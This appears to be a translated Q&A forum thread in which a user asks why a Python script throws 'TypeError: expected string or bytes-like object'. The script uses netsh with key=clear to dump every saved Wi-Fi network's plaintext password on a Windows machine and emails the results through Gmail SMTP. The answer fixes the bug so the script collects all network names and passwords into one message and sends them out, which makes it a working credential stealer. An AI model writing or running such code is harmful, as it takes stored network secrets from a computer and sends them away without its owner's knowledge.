TypeError: expected string or bytes-like object.where do i change it to string?

TypeError: expected string or bytes-like object.where do i change it to string?

当我尝试 运行 这个 python :

import subprocess, smtplib
def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email, email, message)
    server.quit()

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        print ("{:<30}| {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}| {:<}".format(i,""))
send_mail("example@gmail.com","Example123",results)

我收到这个错误

Traceback (most recent call last):
  File "wifi.py", line 18, in <module>
    send_mail("Example@gmail.com","Example123",results)
  File "wifi.py", line 6, in send_mail
    server.sendmail(email, email, message)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail
    (code, resp) = self.data(msg)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data
    q = _quote_periods(msg)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods
    return re.sub(br'(?m)^\.', b'..', bindata)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub
    return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or bytes-like object

我知道我需要把 'str' 放在某个地方,但我不知道是哪一部分(我对 python 有点陌生)

你有列表形式的结果,只需将其转换为字符串这将同时发送用户名和密码

import subprocess, smtplib
def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email, email, message)
    server.quit()

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
to_send = []
for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    # in order to send everything store it in another list and then join them with new line.
    to_send.append(i+":"+"".join(results))
    try:
        print ("{:<30}| {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}| {:<}".format(i,""))
# convert list to string
send_mail("example@gmail.com","Example123","\n".join(to_send))